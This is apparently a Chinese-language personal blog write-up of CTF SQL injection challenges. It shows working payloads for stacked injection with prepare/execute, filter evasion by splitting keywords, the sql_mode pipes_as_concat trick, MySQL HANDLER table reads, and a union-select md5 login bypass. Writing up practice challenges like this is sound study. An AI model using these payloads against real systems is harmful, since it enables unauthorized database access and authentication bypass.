沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

SQL注入の积累

0x00 前言

对写过的题的总结,反正应该除了自己也没人会看(虽然自己写完也不看),如果有人看并且想要复现的话,就去BUUCTF吧

0x01 堆叠注入

预处理

题目:[强网杯 2019]随便注

以下为用法示例(MySQL

prepare foobar from 'select * from yourBrain where yourName = ?;'
set @yourName = idiot;
execute foobar using @yourName;
#或者
set @test 'select * from yourBrain;';
prepare foobar from @test;
execute foobar;

很容易理解,set就相当于设置一个全局变量,可以当作参数,prepare相当于把一个查询语句赋值给另一个变量,execute执行这个语句。

所以这题有如下的payload(其中那些花里胡哨的是为了绕过过滤):

-1';
Set @shell = concat('se','lect *  from `1919810931114514`;'); 
preparE myshell from @shell; 
execute myshell;#

或者…我是个傻逼,自己构造不出来别的花里胡哨的payload

sql_mode

题目:[SUCTF 2019]EasySQL(MySQL

这题需要亿点点想象力,猜到后台查询语句是select $_POST[query] || flag from flag反正我必不可能猜到

然后如果我们能把||改成连接符,这个查询语句就会把你的queryflag的查询结果连接起来后然后再输出,如果是在Oracele下,那显然是可以,但是这里是MySQL,默认情况下,||是一个运算符

还好MySQL还有一个sql_mode的东西可以设置,关于它的更多设置可以查看官方文档

这里我们只需要设置pipes_as_concat即可

所以我们有如下的payload(这题还花里胡哨有长度限制):

1;set sql_mode=pipes_as_concat;select 1

handler

题目:[GYCTF2020]Blacklist(MySQL

和强网杯的随便注长得差不多,但是这里过滤的更加严格了,不过我们可以用这个handler,关于这个的官方解释可以查看官方文档

看不懂英文就随便谷歌或者百度一下吧,具体用法如下

handler foobar open;
handler foobar read first;
handler foobar close;

其中foobar是个表名,你还可以在close前接着handler foobar read next来读下一列

所以这里的payload是1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

其实这里不需要close,大概随手关闭是个好习惯吧😅

0x02 md5的bypass

md5函数开了可选参数为true

这种情况,我之前写过了,利用神奇的ffifdyop,详情可以看这篇文篇

利用联合查询返回不存在的数据

题目:[GXYCTF2019]BabySQli

当我们输入如下的查询语句时:

select * from yourBrain where yourName='idiot' union select 1,'wo_shi_shabi';

会返回如下的结果:

yourName what
idiot 123
1 wo_shi_shabi

这题通过一系列操作(懒得写)知道查询语句是select * from user where username = '$name'

然后它后台应该是这样写的

<?php
    #$row
    #...
    if($row['password']==md5($pass)){ 
	echo $flag; 
	}
?>

所以我们可以使用如下的payload:

name=-1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

name中的的联合查询可以返回那一串md5值,而它正是123456md5

下次遇到新的再写